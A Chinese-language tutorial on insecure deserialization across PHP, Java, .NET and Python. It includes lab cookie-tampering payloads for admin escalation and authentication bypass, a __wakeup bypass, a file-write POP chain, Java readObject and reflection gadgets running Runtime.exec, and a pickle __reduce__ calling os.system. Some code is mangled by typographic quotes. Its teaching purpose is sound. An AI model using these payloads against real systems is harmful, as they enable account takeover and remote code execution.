反序列化漏洞汇总

 

作者:掌控安全-veek

一.反序列化的基本内容

类对象方法

类(Class): 用来描述具有相同的属性和方法的对象的集合。它定义了该集合中每个对象所共有的属性和方法。对象是类的实例。

对象:通过类定义的数据结构实例。对象包括两个数据成员(类变量和实例变量)和方法。

对象:某一个具体的事物、实体或事例

类是类型,比如人类,犬类;对象是某种类的一个实例(实际的例子),比如身为人类的你就是一个对象,你家养的狗就属于犬类的一个对象,或者说一个实例;你可能经常会听到“实例化对象”,这句话的意思就是创建对象,此处的实例名词作动词用,作名词时,可以理解为实例与对象就是一回事

方法:类中定义的函数

魔术方法在类或对象的某些事件出发后会自动执行

在PHP中以两个下划线开头的方法,如果希望PHP调用这些魔术方法,首先必须在类中定义,否则PHP不会执行未创建的魔术方法。

序列化和反序列化

序列化是将复杂的数据结构(例如对象及其字段)转换为“更扁平”格式的过程,该格式可以作为字节顺序流发送和接收。序列化数据使其更容易:

将复杂数据写入进程间内存,文件或数据库

例如,通过网络,在应用程序的不同组件之间或在API调用中发送复杂的数据

至关重要的是,在序列化对象时,其状态也将保留。换句话说,将保留对象的属性及其分配的值。

反序列化是将字节流还原为原始对象的完整功能副本的过程,其状态与序列化时的状态完全相同。然后,网站的逻辑可以与此反序列化的对象进行交互,就像与任何其他对象进行交互一样。

许多编程语言为序列化提供本地的支持。对象的具体序列化方式取决于语言。某些语言将对象序列化为二进制格式,而其他语言则使用不同的字符串格式,同时具有不同程度的人类可读性。请注意,所有原始对象的属性都存储在序列化的数据流中,包括任何私有字段。为防止字段被序列化,必须在类声明中将其显式标记为“ transient”。

在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。

public(公共的):在本类内部、外部类、子类都可以访问

protect(受保护的):只有本类或子类或父类中可以访问

private(私人的):只有本类内部可以使用

不安全的反序列化

不安全的反序列化是指网站对用户可控制的数据进行反序列化时,攻击者能够操纵序列化的对象,以将有害数据传递到应用程序代码中。

甚至有可能用完全不同类的对象替换序列化的对象。更夸张的是,将对网站可用的任何类别的对象进行反序列化和实例化,而与预期的类别无关。因此,不安全的反序列化有时称为“对象注入”漏洞。

意外类的对象可能会导致异常。但是,到此时,损坏可能已经造成。许多基于反序列化的攻击是在反序列化完成之前完成的。这意味着即使网站自身的功能未直接与恶意对象进行交互,反序列化过程本身也可以发起攻击。因此,其逻辑基于强类型语言的网站也可能容易受到这些技术的攻击。

漏洞成因

会出现不安全的反序列化,是因为人们普遍缺乏对用户可控制数据进行反序列化的危险程度的了解。理想情况下,绝对不应该对用户输入数据进行反序列化。

由于通常认为反序列化对象是可信任的,因此也可能会出现漏洞。尤其是当使用具有二进制序列化格式的语言时,开发人员可能会认为用户无法有效读取或操纵数据。但是,尽管可能需要付出更多的努力,但攻击者仍有可能利用二进制序列化的对象,就象利用基于字符串的格式一样。

由于现代网站中存在大量依赖关系,因此基于反序列化的攻击也成为可能。一个典型的站点可能会实现许多不同的库,每个库也都有自己的依赖性。这会创建大量难以安全管理的类和方法。由于攻击者可以创建任何这些类的实例,因此很难预测可以对恶意数据调用哪些方法。如果攻击者能够将一系列意想不到的方法调用链接在一起,并将数据传递到与初始源完全无关的接收器,则尤其如此。因此,几乎不可能预料到恶意数据的流动并堵塞(修复)每个潜在的漏洞。

简而言之,反序列化不受信任的输入是不安全的。

漏洞影响

不安全的反序列化的影响可能非常严重,因为它为大规模增加攻击面提供了切入点。它允许攻击者以有害的方式重用现有的应用程序代码,从而导致许多其他漏洞,通常是远程执行代码(RCE)。

即使在无法执行远程代码的情况下,不安全的反序列化也可能导致越权,任意文件访问和拒绝服务攻击。

 

二. 按编程语言分类

无论是白盒测试还是黑盒测试,识别不安全的反序列化都是相对简单的。

在审核期间,我们应该查看传递到网站的所有数据,并尝试识别任何看起来像序列化数据的内容。如果知道不同语言使用的格式,则可以相对轻松地识别序列化数据。在本节中,我们将展示多种语言的序列化示例及特性。识别序列化数据后,就可以测试是否能够控制它。

PHP

漏洞原理

php对象控制

所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示,unserialize()函数能够重新把字符串变回php原来的值。反序列化一个对象将会保存对象的所有变量。但是不会保存对象的方法,只会保存类的名字。

为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。如果要想在另外一个文件中解序列化一个对象,这个对象的类必须在解序列化之前定义,可以通过包含一个该类的文件或使用函数spl_autoload_register()来实现。

魔法方法

魔术方法是不必显式调用的方法的特殊子集。而是在发生特定事件或场景时自动调用它们。

魔术方法是各种语言的面向对象编程的共同特征。有时通过在方法名称前添加前缀或双下划线来表示它们。开发人员可以将魔术方法添加到类中,以便预先确定在发生相应事件或场景时应执行什么代码。何时以及为何调用魔术方法的确切方法因方法而异。

下面是比较典型的PHP反序列化漏洞中可能会用到的魔术方法:

__wakeup ( void )

unserialize( )会检查是否存在一个wakeup( ) 方法。如果存在,则会先调用__wakeup 方法,预先准备对象需要的资源。

__construct ([ mixed $args [, $... ]])

具有构造函数的类会在每次创建新对象时先调用此方法。

__destruct ( void )

析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

__toString ( void )

__toString( ) 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;应该显示些什么。

此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

序列化实现

PHP使用一种人类可读的字符串格式,其中字母代表数据类型,数字代表每个条目的长度。例如,考虑User具有以下属性的对象:

$user->name = “carlos”;

$user->isLoggedIn = true;

序列化后,该对象可能看起来像这样:

O:4:”User”:2:{s:4:”name”:s:6:”carlos”; s:10:”isLoggedIn”:b:1;}

可以解释如下:

O:4:”User” -具有4个字符的类名称的对象 “User”

2 -对象具有2个属性

s:4:”name” -第一个属性的键是4个字符的字符串 “name”

s:6:”carlos” -第一个属性的值是6个字符的字符串 “carlos”

s:10:”isLoggedIn” -第二个属性的键是10个字符的字符串 “isLoggedIn”

b:1 -第二个属性的值是布尔值 true

 

反序列化利用与POP链

介绍完了漏洞原理与序列化的实现过程,接下来说说漏洞的利用。

操作序列化对象

不安全的反序列化就包括了用户可以对序列化对象进行修改,这可能导致一些越权,代码执行等漏洞。修改幅度有大有小,有的是仅仅修改序列化中的部分字符,有的则是重新生成一个序列化对象,传给网站进行反序列化。

在处理序列化对象时可以采用两种方法: 可以直接以对象的字节流形式对其进行编辑,也可以使用相应的语言编写简短的脚本来自己创建和序列化新对象。

使用二进制序列化格式时,后一种方法通常更容易。

1、修改对象属性

这属于修改幅度较小的情况,仅仅修改属性不会使反序列化报错,也保留了原有对象的结构。

举一个简单的例子,考虑一个使用序列化User对象的网站,该网站将有关用户会话的数据存储在cookie中。如果攻击者在HTTP请求中发现了序列化对象,则可能会对其进行解码以找到以下内容:

O:4:”User”:2:{s:8:”username”:s:6:”carlos”; s:7:”isAdmin”:b:0;}

注意到这里的isAdmin属性,攻击者可以简单地将该属性的布尔值更改为1(true),重新编码对象,然后使用此修改后的值覆盖其当前cookie。

burpsuite官网的实验地址:https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects

登录后查看Cookie,base64解码后为

O:4:”User”:2:{s:8:”username”;s:6:”wiener”;s:5:”admin”;b:0;}

尝试修改为(经过尝试需要每一次都修改,burpsuite直接修改cookie值)

O:4:”User”:2:{s:8:”username”;s:6:”wiener”;s:5:”admin”;b:1;}

再base64加密,url加密得到

Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30%3D

修改之后得到了管理员权限:

2、修改数据类型

我们已经看到了如何修改序列化对象中的属性值,修改数据类型有时候也会有意想不到的效果,这种效果可能基于PHP 的弱等于比较==

例如,如果在整数和字符串之间执行弱比较,PHP将尝试将字符串转换为整数,即结果5 ==,"5"true。这也适用于以数字开头的任何字母数字字符串。

在这种情况下,PHP将根据初始数字有效地将整个字符串转换为整数值。字符串的其余部分将被完全忽略。因此,5 == "5 of something"在实践中被视为5 == 5

比较0 :

0 == "Example string" // true

因为没有数字,所以字符串中的数字为0。PHP将整个字符串视为整数0

考虑这种松散的比较运算符与反序列化对象中的用户可控制数据一起使用的情况。这可能会导致危险的逻辑缺陷。

$login = unserialize($_COOKIE)
if ($login[‘password’] == $password) {
// log in successfully
}

假设攻击者修改了password属性,使其包含整数0而不是预期的字符串。只要存储的密码不是以数字开头,该条件将始终返回true 从而身份验证绕过。

请注意,以任何序列化的对象格式修改数据类型时,务必记住也要更新序列化数据中的任何类型标签和长度指示符,这一点很重要。否则,序列化的对象将被破坏并且不会被反序列化.

实验地址:http://r6d.cn/Mgb9,

任务是: 编辑会话cookie中的序列化对象以访问administrator帐户。

我们登录后的cookie值:

O:4:”User”:2:{s:8:”username”;s:6:”wiener”;s:12:”access_token”;s:32:”XaUdeGmBn1wE6eB0QDcNSze28JC6JGhb”;}

用户要修改为administrator,access_token应该是验证身份的

如果将access_token修改为整形,然后值修改为0/1/2/3/4/5/6/7 …

需要一次次尝试,因为如果与access_token比较的值前几位包含了数字就需要不停尝试,直到比较成功。

修改administrator: s:8:"username";s:13:"administrator";

修改access_token :s:12:"access_token";i:0;}

拼接就是

O:4:”User”:2:{s:8:”username”;s:13:”administrator”;s:12:”access_token”;i:0;}

处理后

Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2k6MDt9

burp抓包改cookie,可见成功升级为管理员。

利用应用程序功能

除了简单地检查属性值外,网站的功能还可能会对反序列化对象中的数据执行危险的操作。在这种情况下,我们可以使用不安全的反序列化来传递意外数据,并利用相关功能造成破坏。

例如,作为网站“删除用户”功能的一部分,通过访问$user->image_location属性中的文件路径来删除用户的个人资料图片。

如果这$user是从序列化对象创建的,则攻击者可以通过将带有image_location集合的已修改对象传递到任意文件路径来利用此漏洞,删除他们自己的用户帐户也将删除此任意文件。

利用魔法方法

之前我们介绍了魔法方法的原理和运行机制,此处用一个demo来展示它的利用。注意魔法方法中的代码。

class Demo {
    public $data;
    public
    function construct($data) {
        $this - >data = $data;
        echo“construct < br / >“;
    }
    public
    function wakeup() {
        echo“wake up < br / >“;
    }
    public
    function __destruct() {
        echo“Data’s value is $this - >data. < br / >“;
        echo“destruct < br / >“;
    }
}
var_dump(serialize(new Demo(“raw value”)));

输出:

construct Data’s value is raw value.destruct string(44)“O: 4 : ”Demo”: 1 : {
    s: 4 : ”data”;
    s: 9 : ”raw value”;
}”

把序列化的字符串修改⼀下后,执⾏

unserialize('O:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');

输出:

wake up
Data’s value is malicious value.
destruct

这⾥看到,值被修改了。上⾯是⼀个 unserialize() 的简单应⽤,不难看出,如果 wakeup() 或者 desturct() 有敏感操作,⽐如读写⽂件、操作数据库,就可以 通过函数实现⽂件读写或者数据读取的⾏为。

那么,在 wakeup() 中加⼊判断是否可以阻⽌这个漏洞呢? 在 wakeup() 中我们加⼊⼀⾏代码

public function __wakeup() {
    if ($this - >data != ‘raw value’) $this - >data = ‘raw value’;
    echo“wake up < br / >“;
}

但其实还是可以绕过的,在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本都存 在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时, wakeup就会被绕过,于是使⽤下⾯的payload

unserialize(‘O:7:”HITCON”:1:{s:4:”data”;s:15:”malicious value”;}’);

输出

Data’s value is malicious value.
destruct

这⾥wakeup被绕过,值依旧被修改了。

POP链

在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做 “面向属性编程” ,即 POP( Property Oriented Programming)。和二进制漏洞中常用的ROP技术类似。

在ROP中我们往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets。

在PHP反序列化漏洞利用技术POP中,对应的初始化gadgets就是wakeup() 或者是destruct() 方法, 在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直至找到可以利用的点为止。

下面列举些在跟进其函数调用过程中需要关注一些很有价值的函数。

几个可用的POP链方法

命令执行

exec()
passthru()
popen()
system()

文件操作:

file_put_contents()
file_get_contents()
unlink()

一旦这些函数的参数我们能够控制,就有可能出现高危漏洞.

Demo所使用的代码。

DemoPopChain.php

<?php
class DemoPopChain{
private $data = “barn”;
private $filename = ‘/tmp/foo’;
public function __wakeup(){
$this->save($this->filename);
}
public function save($filename){
file_put_contents($filename, $this->data);
}
?>

unserialize.php

<?php
require(‘./DemoPopChain.php’);
unserialize(file_get_contents(‘./serialized.txt));
?>

这是一个很简单的具有反序列漏洞的代码,程序从serialized.txt文件中读取需要进行反序列化的字符串。这个我们可控。同时该文件还定义了一个 DemoPopChain 类,并且该类实现了 __wakeup 函数,在该函数中调用了save函数,其参数为 类对象的filename属性值,然后在 save函数中调用了 file_put_contents 函数,该函数的两个参数分别为从save函数中传下来的 filename属性值 和 该对象的data属性值。又由于在反序列化的过程中被反序列化的对象的属性值是我们可控的,于是我们就通过对函数的嵌套调用和对象属性值的使用得到了一个 任意文件写入任意内容的漏洞。

这就是所谓的POP。就是关注整个函数的调用过程中参数的传递情况,找到可利用的点,这和一般的Web漏洞没什么区别,只是可控制的值有直接传递给程序的参数转变为了 对象中的属性值。

 

Java

漏洞原理

Java反射机制

反射 (Reflection) 是 Java 的特征之一,它允许运行中的 Java 程序获取自身的信息,并且可以操作类或对象的内部属性。

简而言之,通过反射,我们可以在运行时获得程序或程序集中每一个类型的成员和成员的信息。程序中一般的对象的类型都是在编译期就确定下来的,而 Java 反射机制可以动态地创建对象并调用其属性,这样的对象的类型在编译期是未知的。所以我们可以通过反射机制直接创建对象,即使这个对象的类型在编译期是未知的。

反射的核心是 JVM 在运行时才动态加载类或调用方法/访问属性,它不需要事先(写代码的时候或编译期)知道运行对象是谁。

Java 反射主要提供以下功能:

在运行时判断任意一个对象所属的类;
在运行时构造任意一个类的对象;
在运行时判断任意一个类所具有的成员变量和方法(通过反射甚至可以调用private方法);
在运行时调用任意一个对象的方法
重点:是运行时而不是编译时

反射机制在java反序列化漏洞的利用过程中有很重要的作用,此处做一个简单的介绍,具体知识与实现可参考:sourse

关键类说明

位置: Java.io.ObjectOutputStream  java.io.ObjectInputStream

序列化: ObjectOutputStream类 —> writeObject()

注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中
按Java的标准约定是给文件一个.ser扩展名

反序列化: ObjectInputStream类 —> readObject()

注:该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。
java中的一个类的对象要想序列化成功,必须满足两个条件:

该类必须实现 java.io.Serializable 接口,因为 Serializable 接口是启用其序列化功能的接口。
该类的所有属性必须是可序列化的。
如果你想知道一个 Java 标准类是否是可序列化的,可以通过查看该类的文档,查看该类有没有实现 java.io.Serializable 接口。

以下列出了一些存在危险的基础库:

com.mchange:c3p0 0.9.5.2
com.mchange:mchange-commons-java 0.2.11
commons-beanutils 1.9.2
commons-collections 3.1
commons-fileupload 1.3.1
commons-io 2.4
commons-logging 1.2
org.apache.commons:commons-collections 4.0
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.slf4j:slf4j-api 1.7.21
org.springframework:spring-aop 4.1.4.RELEASE

Java反序列化利用

命令执行

前面我们能知道序列化过程依赖于 ObjectOutputStream 类中 writeObject 方法,而反序列化的过程是依赖于 ObjectOutputStream 类中 readObject 方法。那么如果实际情况下,我们能够重写 readObject 方法,那么就有可能达到反序列化的时候命令执行的作用。

以下代码重写了 readObject 方法,当调用 readObject 执行反序列化操作的时候,调用系统命令执行弹出计算器的操作。

//ObjectCalc.java
import java.io.IOException;
import java.io.Serializable;
class ObjectCalc implements Serializable {
    public String name;
    //重写readObject()方法
    private void readObject(java.io.ObjectInputStream in ) throws IOException,
    ClassNotFoundException {
        //执行默认的readObject()方法
        in .defaultReadObject();
        //执行打开计算器程序命令
        Runtime.getRuntime().exec(“open / Applications / Calculator.app / “);
    }
}

然后先生成序列化的object。

//SerializableCalc.java
//引入必要的java包文件
import java.io. * ;
public class SerializableCalc {
    public static void main(String args[]) throws Exception {
        //定义myObj对象
        ObjectCalc myObj = new ObjectCalc();
        myObj.name = “hi”;
        //创建一个包含对象进行反序列化信息的”object”数据文件
        FileOutputStream fos = new FileOutputStream(“ / Users / l1nk3r / Desktop / object”);
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法将myObj对象写入object文件
        os.writeObject(myObj);
        os.close();
    }
}

然后反序列化的过程中弹出计算器。

//unSerializableCalc.java
//引入必要的java包文件
import java.io. * ;
public class unSerializableCalc {
    public static void main(String args[]) throws Exception {
        //从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream(“ / Users / l1nk3r / Desktop / object”);
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢复对象
        ObjectCalc objectFromDisk = (ObjectCalc) ois.readObject();
        System.out.println(objectFromDisk.name);
        ois.close();
    }
}

利用反射机制来执行代码

Java的反射机制提供为Java工程师的开发提供了相当多的便利性,同样也带来了潜在的安全风险。反射机制的存在使得我们可以越过Java本身的静态检查和类型约束,在运行期直接访问和修改目标对象的属性和状态。Java反射的四大核心是 Class,Constructor,Field,Method,如下代码所示。通过反射的方法重写readObject,从而操纵代码调用本地的计算器:

//ReflectionCalcObject.java
package com.l1nk3r.reflect;
import java.io. * ;
import java.lang.reflect.Method;
class ReflectionCalcObject implements Serializable {
    public String name;
    //重写readObject()方法
    private void readObject(java.io.ObjectInputStream in ) throws IOException,
    ClassNotFoundException { in .defaultReadObject(); //调用原始的readOject方法
        try { //通过反射方法执行命令;
            Method method = java.lang.Runtime.class.getMethod(“exec”, String.class);
            Object result = method.invoke(Runtime.getRuntime(), “open / Applications / Calculator.app / “);
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}

关键在于这两行代码

Method method= java.lang.Runtime.class.getMethod(“exec”, String.class);
Object result = method.invoke(Runtime.getRuntime(), “open /Applications/Calculator.app/“);

通过运行 java.lang.Runtime 这个类的 .class 属性,并使用 getMethod 方法来获取我们要执行命令的方法 exec ,最后我们通过 invoke 来实现注册这个方法,打开计算器。

FastJson库反序列化

FastJson是alibaba的一款开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。Fastjson接口简单易用,广泛使用在缓存序列化、协议交互、Web输出、Android客户端等,目前有2个主要接口toJsonString和parseObject来分别实现序列化和反序列化。

近几年来fastjson RCE漏洞的源头:17年fastjson爆出的1.2.24反序列化漏洞。关于Fastjson 1.2.24反序列化漏洞,自从17年以来已经有很多人分析过了,一些基础内容此处就不再陈述了。此次漏洞简单来说,就是Fastjson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。

详细内容可阅读参考文章:http://r6d.cn/MfTqhttp://r6d.cn/MfTH

 

.NET

漏洞原理

.net反射机制

与Java类似,.net也具备反射机制。

反射是.Net中获取运行时类型信息的方式,.Net的应用程序由几个部分:‘程序集(Assembly)’、‘模块(Module)’、‘类型(class)’组成,而反射提供一种编程的方式,让程序员可以在程序运行期获得这几个组成部分的相关信息,例如:Assembly类可以获得正在运行的装配件信息,也可以动态的加载装配件,以及在装配件中查找类型信息,并创建该类型的实例。

Type类可以获得对象的类型信息,此信息包含对象的所有要素:方法、构造器、属性等等,通过Type类可以得到这些要素的信息,并且调用之。

MethodInfo包含方法的信息,通过这个类可以得到方法的名称、参数、返回值等,并且可以调用之。

诸如此类,还有FieldInfo、EventInfo等等,这些类都包含在System.Reflection命名空间下。

那么,反射机制与序列化有何关系呢?

在序列化过程中,当判断完每个对象的类型定义应用了可序列化[Serializable]特性,.net会利用反射机制来取得每个目标对象的类型中所有需要序列化的实例字段的信息,并读取对应字段的值保存到字节流中。

.NET的一些类库同样存在反序列化漏洞,

本篇主要介绍以下四个:

XmlSerializer
Json.Net
Fastjson
JavaScriptSerializer

注:本节内容主要引用自360云影实验室-Ivan1ee的系列文章。

XmlSerializer反序列化漏洞

在.NET 框架中的 XmlSerializer 类是一种很棒的工具,它是将高度结构化的 XML 数据 映射为 .NET 对象。XmlSerializer 类在程序中通过单个 API 调用来执行 XML 文档和对 象之间的转换。

转换的映射规则在 .NET 类中通过元数据属性来表示,如果程序开发人 员使用 Type 类的静态方法获取外界数据,并调用 Deserialize 反序列化 xml 数据就会 触发反序列化漏洞攻击。

攻击者发现污染点可控的时候,可以从两个维度去寻找利用的点

第一从 Web 应用程序中寻求可以执行命令或者写 WebShell 的类和方法;

第二就是利用 ObjectDataProvider、ResourceDictionary、XamlReader 组成的攻击链去执行命令 或者反弹 Shell 。

打造POC

首先放上攻击链打造成功后的完整Demo,这段Demo可以复用在任意地方(这里不涉及.NET Core、MVC),如下图

只要XmlSerializer存在反序列化漏洞就可用下面Demo中的内容,涉及到三个主要的技术点,以下分别来介绍原理。

ObjectDataProvider

ObjectDataProvider类,它位于System.Windows.Data命名空间下,可以调用任意被引用类中的方法,提供成员ObjectInstance用类似实例化类、成员MethodName调用指定类型的方法的名称、成员MethodParameters表示传递给方法的参数,参考下图

再给TestClass类定义一个ClassMethod方法,代码实现调用System.Diagnostics.Process.Start启动新的进程弹出计算器。

如果用XmlSerializer直接序列化会抛出异常,因为在序列化过程中ObjectInstance这个成员类型未知,不过可以使用ExpandedWrapper扩展类在系统内部预先加载相关实体的查询来避免异常错误,改写Demo

生成data.xml内容如下:

攻击链第一步就算完成,但美中不足的是因笔者在测试环境下新建的TestClass类存在漏洞,但在生产情况下是非常复杂的,需要寻求Web程序中存在脆弱的攻击点,为了使攻击成本降低肯定得调用系统类去达到命令执行,所以需要引入下面的知识。

ResourceDictionary

ResourceDictionary,也称为资源字典通常出现在WPF或UWP应用程序中用来在多个程序集间共享静态资源。既然是WPF程序,必然设计到前端UI设计语言XAML。 XAML全称Extensible Application Markup Language (可扩展应用程序标记语言) 基于XML的,且XAML是以一个树形结构作为整体,如果对XML了解的话,就能很快的掌握,例如看下面Demo

第一个标签ResourceDictionary,xmlns:Runtime表示读取System.Diagnostics命令空间的名称起个别名为Runtime

第二个标签ObjectDataProvider指定了三个属性,x:key便于条件检索,意义不大但必须得定义;

ObjectType 用来获取或设置要创建其实例的对象的类型,并使用了XAML扩展;

x:Type相当于C#中typeof运算符功能,这里传递的值是System.Diagnostics.Process; MethodName用来获取或设置要调用的方法的名称,

传递的值为System.Diagnostics.Process.Start方法用来启动一个进程。

第三个标签ObjectDataProvider.MethodParameters内嵌了两个方法参数标签,通过System:String分别指定了启动文件和启动时所带参数供Start方法使用。

介绍完攻击链中ResourceDictionary后,攻击的Payload主体已经完成,接下来通过XamlReader这个系统类所提供的XML解析器来实现攻击。

XamlReader

XamlReader位于System.Windows.Markup空间下,顾名思义就是用来读取XAML文件,它是默认的XAML读取器,通过Load读取Stream流中的XAML数据,并返回作为根对象,而另外一个Parse方法读取指定字符串中的XAML输入,也同样返回作为根对象,自然Parse 方法是我们关心和寻求的。

只需使用ObjectDataProvider的ObjectInstance方法实例化XamlReader,再指定MethodName为Parse,并且给MethodParameters传递序列化之后的资源字典数据,这样就可以完成XmlSerializer反序列化攻击链的打造。

Json.Net反序列化漏洞

Newtonsoft.Json,这是一个开源的,读写Json效率非常高的.Net库,在做开发的时候,很多数据交换都是以json格式传输的。

而使用Json的时候,开发者很多时候会涉及到几个序列化对象的使用
:DataContractJsonSerializer,JavaScriptSerializer 和 Json.NET即Newtonsoft.Json。

大多数人都会选择性能以及通用性较好Json.NET,这个虽不是微软的类库,但却是一个开源的世界级的Json操作类库。

用它可轻松实现.Net中所有类型(对象,基本数据类型等)同Json之间的转换,在带来便捷的同时也隐藏了很大的安全隐患,在某些场景下开发者使用DeserializeObject方法序列化不安全的数据,就会造成反序列化漏洞从而实现远程RCE攻击。

漏洞的触发点也是在于TypeNameHandling这个枚举值,如果开发者设置为非空值、也就是对象(Objects) 、数组(Arrays) 、自动识别 (Auto) 、所有值(ALL) 的时候都会造成反序列化漏洞,为此官方文档里也标注了警告,当您的应用程序从外部源反序列化JSON时应谨慎使用TypeNameHandling。

打造POC

此处继续选择ObjectDataProvider类方便调用任意被引用类中的方法,具体有关此类的用法可以看一下上文或者sourse,首先来序列化TestClass

指定TypeNameHandling.All、TypeNameAssemblyFormatHandling.Full后得到序列化后的Json字符串

如何构造System.Diagnostics.Process序列化的Json字符串呢?笔者需要做的工作替换掉ObjectInstance的$type、MethodName的值以及MethodParameters的$type值,删除一些不需要的Member、最终得到的反序列话Json字符串如下

再经过JsonConvert.DeserializeObject反序列化(注意一点指定TypeNameHandling的值一定不能是None),成功弹出计算器。

Fastjson 反序列化漏洞

Java中的Fastjson曾经爆出了多个反序列化漏洞和Bypass版本,而在.Net领域也有一个Fastjson的库,作者官宣这是一个读写Json效率最高的的.Net 组件,使用内置方法JSON.ToJSON可以快速序列化.Net对象。

让你轻松实现.Net中所有类型(对象,基本数据类型等)和Json之间的转换。

FastJson和老牌Json.Net、Stack等比起来速度和性能优势非常明显,究其原因组件的作者利用反射生成了大量的IL代码,而IL代码是托管代码,可以直接给运行库编译所以性能就此大大提升。

但在某些场景下开发者使用JSON.ToObject方法序列化不安全的数据时候会造成反序列化漏洞从而实现远程RCE攻击。

漏洞的触发点也是在于被序列化的Json中的$types是否可控,为此官方文档里也标注了警告。

打造POC

继续选择ObjectDataProvider类方便调用任意被引用类中的方法,具体有关此类的用法可以看一下sourse,因为Process.Start方法启动一个线程需要配置ProcessStartInfo类相关的属性,例如指定文件名、指定启动参数,所以首先得考虑序列化ProcessStartInfo,如下代码Demo

一步步来看,开始从GetType获取当前类的实例,返回Type类型变量t3;

然后通过Type.GetProperty方法找到指定为FileName的公共属性并赋值给PropertyInfo类型的变量propertyName;

再使用PropertyInfo.SetValue方法设置对象的指定属性值“cmd.exe“,同理为Arguments属性指定值。

下一步再来序列化Process类,并调用StartInfo启动程序,Demo如下

然后需要对其做减法,去掉无关的System.RuntimeType、System.IntPtr数据,最终得到反序列化Payload

FastJson定义的JSON类定义了多个ToObject重载方法,对于反序列化漏洞无需关心重载的方法参数是一个还是多个,它们都可以触发漏洞

通过下面的Demo , JSON.ToObject(payload)反序列化成功弹出计算器。

JavaScriptSerializer反序列化漏洞

在.NET处理 Ajax应用的时候,通常序列化功能由JavaScriptSerializer类提供,

它是.NET2.0之后内部实现的序列化功能的类,位于命名空间System.Web.Script.Serialization、通过System.Web.Extensions引用,让开发者轻松实现.Net中所有类型和Json数据之间的转换,但在某些场景下开发者使用Deserialize 或DeserializeObject方法处理不安全的Json数据时会造成反序列化攻击从而实现远程RCE漏洞。

打造POC

默认情况下JavaScriptSerializer不会使用类型解析器,

所以它是一个安全的序列化处理类,漏洞的触发点也是在于初始化JavaScriptSerializer类的实例的时候是否创建了SimpleTypeResolver类,

如果创建了,并且反序列化的Json数据在可控的情况下就可以触发反序列化漏洞,借图来说明调用链过程

我们还是选择ObjectDataProvider类方便调用任意被引用类中的方法,具体有关此类的用法可以看一下https://ivan1ee.gitbook.io/-netdeserialize/fan-xu-lie-hua-lou-dong-xi-lie/1xmlserializer-fan-xu-lie-hua-lou-dong#0x01-xmlserializer-xu-lie-hua,

因为Process.Start方法启动一个线程需要配置ProcessStartInfo类相关的属性,例如指定文件名、指定启动参数,所以首先得考虑序列化ProcessStartInfo,这块可参考https://ivan1ee.gitbook.io/-netdeserialize/fan-xu-lie-hua-lou-dong-xi-lie/3fastjson-fan-xu-lie-hua-lou-dong,,

之后对生成的数据做减法,去掉无关的System.RuntimeType、System.IntPtr数据,最终得到反序列化Poc

编写好触发代码,用Deserialize<Object>反序列化Json成功弹出计算器。

 

Python

Pickle库基础

Python提供的pickle模块可以序列化对象并保存到磁盘中,并在需要的时候读取出来,任何对象都可以执行序列化操作。

Pickle模块中最常用的函数为:

(1)pickle.dump(obj, file, [,protocol])

​ 函数的功能:将obj对象序列化存入已经打开的file中。

​ 参数讲解:

obj:想要序列化的obj对象。
file:文件名称。
protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

(2)pickle.load(file)

​ 函数的功能:将file中的对象序列化读出。

​ 参数讲解:

file:文件名称。

(3)pickle.dumps(obj[, protocol])

​ 函数的功能:将obj对象序列化为string形式,而不是存入文件中。

​ 参数讲解:

obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

(4)pickle.loads(string)

​ 函数的功能:从string中读出序列化前的obj对象。

​ 参数讲解:

string:文件名称。

魔法方法

反序列化漏洞出现在 reduce()魔法函数上,这一点和PHP中的__wakeup()魔术方法类似,都是因为每当反序列化过程开始或者结束时 , 都会自动调用这类函数。

而这恰好是反序列化漏洞经常出现的地方。

而且在反序列化过程中,因为编程语言需要根据反序列化字符串去解析出自己独特的语言数据结构,所以就必须要在内部把解析出来的结构去执行一下。如果在反序列化过程中出现问题,便可能直接造成RCE漏洞。

Python反序列化利用

漏洞可能出现的位置:

解析认证token、session的时候
将对象Pickle后存储成磁盘文件
将对象Pickle后在网络中传输
参数传递给程序
命令执行利用

import pickle
import os
class Test(object):
def reduce(self):

    #被调用函数的参数
    cmd = "/usr/bin/id" 
    return (os.system,(cmd,))
if name == “main“:
test = Test2()

#执行序列化操作
result1 = pickle.dumps(test)
#执行反序列化操作
result2 = pickle.loads(result1)

reduce()魔法方法的返回值:

return(os.system,(cmd,))

满足返回一个元组,元组中有两个参数

第一个参数是被调用函数 : os.system()

